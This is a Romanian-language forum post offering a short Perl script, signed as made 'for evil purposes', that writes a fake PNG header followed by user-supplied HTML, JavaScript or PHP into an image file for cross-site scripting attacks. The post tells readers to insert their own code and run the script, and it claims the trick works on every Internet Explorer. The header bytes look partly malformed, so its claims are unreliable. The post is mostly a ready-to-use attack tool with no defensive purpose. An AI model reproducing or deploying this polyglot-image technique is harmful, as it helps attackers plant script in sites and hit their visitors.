Jump to content
paxnWo

[PERL] xss in imagini

Recommended Posts

Posted

#made by HybriD for evil purposes
#works on all internet explorers and all windows service packs

my $payload =
"\x50\x4e\x47\x0d\x0a\x5c\x78\x4f\x41\x1a\x5c\x78\x4f\x41\x26\x23".
"\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23".
"\x36\x35\x35\x33\x33\x3b\x5c\x78\x4f\x44\x50\x48\x43\x4b\x26\x23".
"\x36\x35\x61\x33\x33\x3b\x26".
"\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x01".
"\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b".
"\x26\x23\x36\x35\x35\x33\x33\x3b\x01";

my $code = "code here";

open(file,'>>xss.PNG');
print file $payload;
print file $code;
close(file);

dati replace la code here cu codul vostru html/javscript/perl/php.

apoi

perl filenamehere.pl

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...